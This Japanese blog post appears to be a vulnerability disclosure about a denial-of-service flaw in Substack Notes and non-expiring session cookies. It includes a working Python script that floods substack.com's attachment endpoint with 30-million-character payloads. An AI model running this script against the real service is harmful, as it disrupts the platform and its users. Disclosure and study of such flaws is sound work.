🛡️
SubstackのNotesにおけるDoS攻撃の脆弱性
前置き
本記事における調査及び報告の過程はSubstackの脆弱性開示ポリシーに基づいたものであり、無断の脆弱性診断行為を推奨するものではありません。
TL;DR
- Substackの新機能であるNotesのAPIに実装不備があり、サーバー及びユーザーのサービス利用を完全に妨害するDoS攻撃が可能であった。
- アクセストークンの有効期限に実装不備があり、ユーザーがログアウトするまで失効しない。
脆弱性の再現
Substack Notes では、ユーザーが画像を投稿した際に次のステップが踏まれる。
- /api/v1/image (画像データ送信)
- /api/v1/comment/attachment (URL送信, attachmentIdの取得)
- /api/v1/comment/feed (投稿内容送信)
順番にリクエストを見てみよう。
調べたところ、/api/v1/comment/attachmentに送信されるコンテキストは、urlの文字列をattachmentIdとして返しているようだが、文字列の長さには一切の制限がない。
また、/api/v1/comment/feedに指定するattachmentIdの個数も一切の上限がない。
そこで、次のようなPythonのコードを書き、ペイロードを作成した。
import aiohttp
import asyncio
cookies = {
"substack.sid": "[REDACTED]",
}
payload = "A" * 30000000
json_data = {
"url": payload,
"type": "image",
}
async def attack(session):
async with session.post(
"https://substack.com/api/v1/comment/attachment",
json=json_data,
cookies=cookies,
) as resp:
resp = await resp.json()
return resp
async def main():
tasks = []
async with aiohttp.ClientSession(
connector=aiohttp.TCPConnector(limit=10)
) as session:
for _ in range(10):
tasks.append(asyncio.ensure_future(attack(session)))
resps = await asyncio.gather(*tasks)
for r in resps:
print(f'"{r["id"]}",')
asyncio.run(main())
"e6a72801-xxxx-xxxx-xxxx-72c0f6791e1a",
"de612629-xxxx-xxxx-xxxx-d60021e3f636",
"0522cdd2-xxxx-xxxx-xxxx-685e1deaab38",
"7f4be30f-xxxx-xxxx-xxxx-a0ab4f0d25bb",
"e9752afa-xxxx-xxxx-xxxx-ef24880bc3f5",
"e1ab0343-xxxx-xxxx-xxxx-8c361f9b193a",
"8bc1c78c-xxxx-xxxx-xxxx-33ddacdb3387",
"9af840b4-xxxx-xxxx-xxxx-cbd050889ccb",
"6bb47eca-xxxx-xxxx-xxxx-56961bb37e3a",
"fbb50510-xxxx-xxxx-xxxx-41296871e147",
そうすると、細工されたコメントを投稿することにより500エラーが引き起こされる。
次のPoCから分かる通り、他ユーザーの投稿したスレッドを妨害することが可能だ。
記事の執筆中に別の脆弱性を発見
Substackのアクセストークンであるsubstack.sidには有効期限が実装されているようだが、機能しておらず、ユーザーがログアウトの処理を実行しない限り失効することはない。つまり、何らかの事情でクッキーを削除した場合は、有効なトークンが無期限に存在することになる。
おかげさまでPoCの動画は再編集だ。
cookies = {
"substack.sid": "[REDACTED]",
"_dd_s": "rum=0&expire=1682060632941", # should expire on 2023/04/21 07:03 but never if the user doesn't do the logout process
}
余談
こちらのツイートで述べた通りだが、どうやら彼らは脆弱性開示ポリシーを設けてはいるものの、報告者と協力する気は一切ないらしい。
彼ら自身が開示ポリシーに準拠していないのであれば、同じく私も準拠する義務はない。
Discussion